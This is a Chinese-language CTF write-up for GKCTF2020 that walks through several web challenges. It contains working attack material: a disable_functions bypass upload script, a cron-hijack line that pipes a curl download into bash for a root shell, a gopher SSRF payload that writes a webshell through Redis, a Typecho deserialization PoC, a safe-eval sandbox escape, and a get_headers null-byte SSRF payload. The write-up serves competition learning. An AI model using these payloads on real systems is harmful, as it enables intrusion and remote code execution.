GKCTF2020wp
这周末打了两个比赛。BJDCTF3rd与GKCTF.这里个人认为GKCTF的题目收获挺多的,但是时间太紧,自己也在简单题上浪费了不少时间。所以把比赛时没来的及看或者没做出来的题都补全。
check_in
题目给出了源码。基本机理就是从$_REQUEST
里获取Ginkgo变量然后eval执行。
phpinfo()的话会发现存在disable_function
,列目录会发现根目录有readflag.
但是不要紧。我们有bypass脚本用,下面就是之前做buu上一道l33t-hoster
的脚本拿来改的
import requests
import base64
url='http://5e0893e9-0a1c-4836-8865-2771c87a52e4.node3.buuoj.cn/'
def command(payload):
return {"Ginkgo":base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
payload="move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/exploit.php');echo 'ok';var_dump(scandir('/tmp'));"
files = [('file',('exploit.php',open("exploit.php","rb"),'application/octet-stream'))]
r = requests.post(url=url,data=command(payload),files=files)
r=requests.post(url=url,data=command('include("/tmp/exploit.php");'))
print(r.text)
脚本要传到/tmp
下,否则其他目录应该是不可写的。然后包含即可。
老八小超市儿
这题说实话挺简单的。就是手慢了几步。
首先后台getshell不讲了,主要是按照网上能搜到的
ShopXO全版本getshell流程走:先默认密码登录后台,下载主题并加上webshellbyc.php,再重新上传zip文件,访问/public/static/index/default/byc.php
即可.
拿到www-data的shell后发现需要提权。然后根目录flag.hint
里给了个日期.不过我并没有怎么在意这个日期,而是按照自己htb渗透的习惯来.
首先理论上应该来个扫描脚本的。不过这里很明显就能在根目录ls -la
时发现auto.sh
是root用户运行一个python脚本,每一分钟执行一次。找到python脚本后发现有写的权限。
那就很简单了,直接写入命令import os;os.system('curl xxx|bash')
(这里之前为了弹www-data的shell提前准备好了反弹脚本)然后等待监听的端口返回rootshell即可。flag在root目录下
EZ三剑客-EzWeb
这题二血。算是比较有意思的题目。
首先会发现首页功能似乎是个ssrf。然后还给出了?secret
参数看ip地址.
不过其实这里并不需要给ip的,因为可以直接读/etc/hosts
当然,想要常规的file协议读肯定是不行的.但是它过滤的不严,可以用类似xxe里利用file协议列目录的方式来读
file:/var/www/html/index.php
得到源码
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
不过flag并不在本机173.92.140.10。实际上这种方式想读根目录也并不可行。但基于这里是个curl的ssrf。那么就大有可为。
不过这一步浪费了不少时间,后面才反应过来可以顺着探内网。
尝试直接顺着ip探内网存活主机,发现173.92.140.13,提示其他端口,猜测是redis或者mysql之类的。
于是探6379端口得到redis的报错命令。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。
可以看这篇文章Redis和SSRF
命令的构建主要是编码问题。把命令进行正确编码就能打了
gopher://173.92.140.13:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
这样就在140.13那写入webshell。然后直接173.92.140.13/shell.php?cmd=cat%20/flag
即可
EZ三剑客-EzTypecho
这题真的可惜。比赛时因为其他题目没来得及看。结果发现基本就是原本的链子加上一个bypass就行了。
先来过下源码。关于typeecho的洞出在install.php算是比较熟知的了。所以网上基本两个版本的POP链。如果有install.php就可以按第一个的思路走。
首先这里的源码表明必须getfinish
参数以及带上Referer才不会退出。
接下来是反序列化点
这里实际上只加上了一个session的判断。如果以前有现成的pocbypass了这个判断就能直接打了。这里自己先按照链子跟一下。
上面我们的序列化数据被送进实例化了一个Typeecho_Db类里。跟进下
发现构造方法调用了call_user_func()
然后call_user_func的参数$adapterName
有一个字符串拼接。那说明可以触发__toString
.我们全局找下__toString
找到var\Typecho\Feed.php
其魔术方法中有这样一段
这里item是遍历items
得来的。而items可控。并且由于箭头所指位置调用了screenname
属性。因此可能可以触发__get
方法
全局搜找到var\Typecho\Request.php
public function __get($key)
{
return $this->get($key);
}
而get是
我们上面要触发__get
,是因为调用了screneName
属性。那么触发get的话就是对应了$key
。可以看到最后被送进_applyFilter
的参数值来自params[$key]
仍然是可控的
最后就是跟进函数了。发现调用call_user_func
可以命令执行。参数可控。所以链子到此结束。
poc
<?php
class Typecho_Request
{
private $_params = array('screenName'=>'cat /flag');
private $_filter = array('system');
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct()
{
$this->_items=array(array("author"=>new Typecho_Request()));
}
}
$config=array("adapter"=>new Typecho_Feed(),"prefix"=>'byc');
echo base64_encode(serialize($config));
?>
最后再回到开始提到的问题。想要触发反序列化必须要有个session.不过其实也有好几道题设及到了这个知识点。我们利用php的特性。带上php_session_upload_progress
上传文件。并且cookie带上PHPSESSID。就会发现不会触发它提示no, you can't unserialize it without session QAQ
了
结果
当然这题不按这个思路来也是可以的。因为get传参start
处也有一个反序列化。直接打也没问题。总之这题花的时间是最短的,比赛时没做真的可惜。
EZ三剑客-EzNode
这题跟之前做npuctf时的一道node差不多。不过这里直接用的safe-eval
库。显然是有poc可逃逸的。但是在这之前肯定有waf要绕。
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
这里settimout会发现导致我们的payload都无法执行。因此需要绕过,让delay小于1000才能进到safeeval的路由里。
https://stackoverflow.com/questions/3468607/why-does-settimeout-break-for-large-millisecond-delay-values
这里存在一个issue。就是我们传入的delay如果大小超过32位,会被settimeout
设为1.这样就满足条件了。
后面搜到的safe-eval的poc直接打
const theFunction = function () {
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
};
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
改成IIFE形式直接打。
(function(){xxxxx})()
CVE版签到
这题我是真的没理解出题人的意思。后面提醒了CVE后还是没理解出题人的意思......结果大部分时间都花在这题上了。
进去后似乎是一个ssrf。然后只有.ctfhub.com
才会触发动作的样子。因此判断应该是有个正则了。然后发现header里提示flag在localhost,并且Host要以123结尾。
这里我虽然大概明白后端运行流程,但是还是搞错了出题人的意图。太难受了。运用到的CVE其实就是getheader的CVE。之前BJD刚刚考过。这个函数特点就是会去请求并返回header.但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。
在了解到这个CVE后,我以为是要返回头里的Host为123结束。结果最后才知道原来是要请求127.0.0.123
。。。不知道说啥,只能说自己把提示搞成要绕的waf了。
payload
url=http://127.0.0.123%00.ctfhub.com
小结
这次比赛虽然后面基本就没花时间了,但是收获挺大的.至少发现自己临场变通的能力还是很差就跟平时学业一样...不过还是得稳扎稳打吧。最后还剩一场RCTF这个学期就要暂时跟CTF说再见了。争取能再发挥的稳一点。